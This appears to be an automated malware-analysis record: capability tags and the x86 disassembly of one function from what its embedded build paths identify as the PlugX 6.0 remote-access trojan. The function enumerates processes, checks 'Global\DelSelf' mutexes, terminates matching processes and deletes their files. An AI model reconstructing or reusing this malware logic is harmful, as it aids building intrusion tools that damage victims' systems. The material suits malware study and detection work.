Function at 0x10007d80
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Delete file
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40ac
call fcn.10027d10
push ebx
push esi
push edi
push 0x1000
lea ecx, [ebp - 0x20]
call fcn.10006420
mov ecx, 0x400
lea eax, [ebp - 0x409c]
nop dword [eax + eax]
mov dword [eax - 8], 0
lea eax, [eax + 0x40]
mov dword [eax - 0x40], 0
mov dword [eax - 0x44], 0
mov dword [eax - 0x4c], 0
mov dword [eax - 0x38], 0
mov dword [eax - 0x30], 0
mov dword [eax - 0x34], 0
mov dword [eax - 0x3c], 0
mov dword [eax - 0x28], 0
mov dword [eax - 0x20], 0
mov dword [eax - 0x24], 0
mov dword [eax - 0x2c], 0
mov dword [eax - 0x18], 0
mov dword [eax - 0x10], 0
mov dword [eax - 0x14], 0
mov dword [eax - 0x1c], 0
sub ecx, 4
jne 0x10007db0
mov eax, dword [0x1002d3e8]
test eax, eax
jne 0x10007e5b
mov eax, dword [0x1002d3e4]
test eax, eax
jne 0x10007e4a
push str.psapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d3e4], eax
push str.EnumProcesses
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002d3e8], eax
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x20]
push edi
call eax
test eax, eax
jne 0x10007e79
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x100080b4
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
xor esi, esi
mov dword [ebp - 4], ecx
test dword [ebp - 0x10], 0xfffffffc
jbe 0x10007f87
lea edi, [ebp - 0x409c]
nop dword [eax]
cmp esi, 0x3e8
jge 0x10007f7e
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*4]
cmp eax, 0x10
jb 0x10007f6f
push eax
lea eax, [ebp - 0xa0]
push str.GlobalDelSelf__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, eax
test ebx, ebx
je 0x10007f18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10007f0f
push eax
mov edx, 0x673
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
cmp dword [ebp - 8], 0xb7
jne 0x10007f6c
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [edx + esi*4]
mov dword [edx + eax*4], ecx
lea edx, [edi - 0xc]
call fcn.1001bf00
test eax, eax
je 0x10007f4f
push eax
mov edx, 0x19e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
mov ecx, dword [ebp - 4]
add esp, 4
inc ecx
add edi, 0x10
mov dword [ebp - 4], ecx
jmp 0x10007f6f
push dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call ebx
push 0x10028c1c
call ebx
mov ecx, dword [ebp - 4]
inc ecx
add edi, 0x10
mov dword [ebp - 4], ecx
jmp 0x10007f6f
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
inc esi
shr eax, 2
cmp esi, eax
jl 0x10007ea0
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
jle 0x100080b2
lea ecx, [ebp - 0x409c]
mov dword [ebp - 0xc], ecx
nop dword [eax]
push dword [edi + eax*4]
xor esi, esi
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10007fba
call ebx
mov esi, eax
jmp 0x10007fff
push 0x4c7
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10007fe1
push eax
mov edx, 0x68e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call ebx
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10007fff
push eax
mov edx, 0x693
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test esi, esi
je 0x10008016
push esi
mov edx, 0x1af
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
cmp dword [0x1002d3d8], 0
jne 0x1000804b
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10008041
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x1000804b
mov dword [0x1002d3d8], 0
cmp dword [0x1002fa70], 0
je 0x1000809b
mov edi, dword [ebp - 0xc]
xor esi, esi
mov edi, dword [edi]
nop dword [eax + eax]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1000809b
call ebx
cmp eax, 2
je 0x1000809b
call ebx
test eax, eax
je 0x1000808d
call ebx
push eax
mov edx, 0x1c4
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x1e
jl 0x10008060
mov eax, dword [ebp - 8]
add dword [ebp - 0xc], 0x10
inc eax
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 4]
jl 0x10007fa0
xor ebx, ebx
mov edi, 0x400
lea esi, [ebp - 0xa4]
nop
mov eax, dword [esi - 0x10]
lea esi, [esi - 0x10]
dec edi
test eax, eax
je 0x100080ea
push 1
push eax
call fcn.10027bcc
add esp, 8
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
test edi, edi
jne 0x100080c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10008100
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret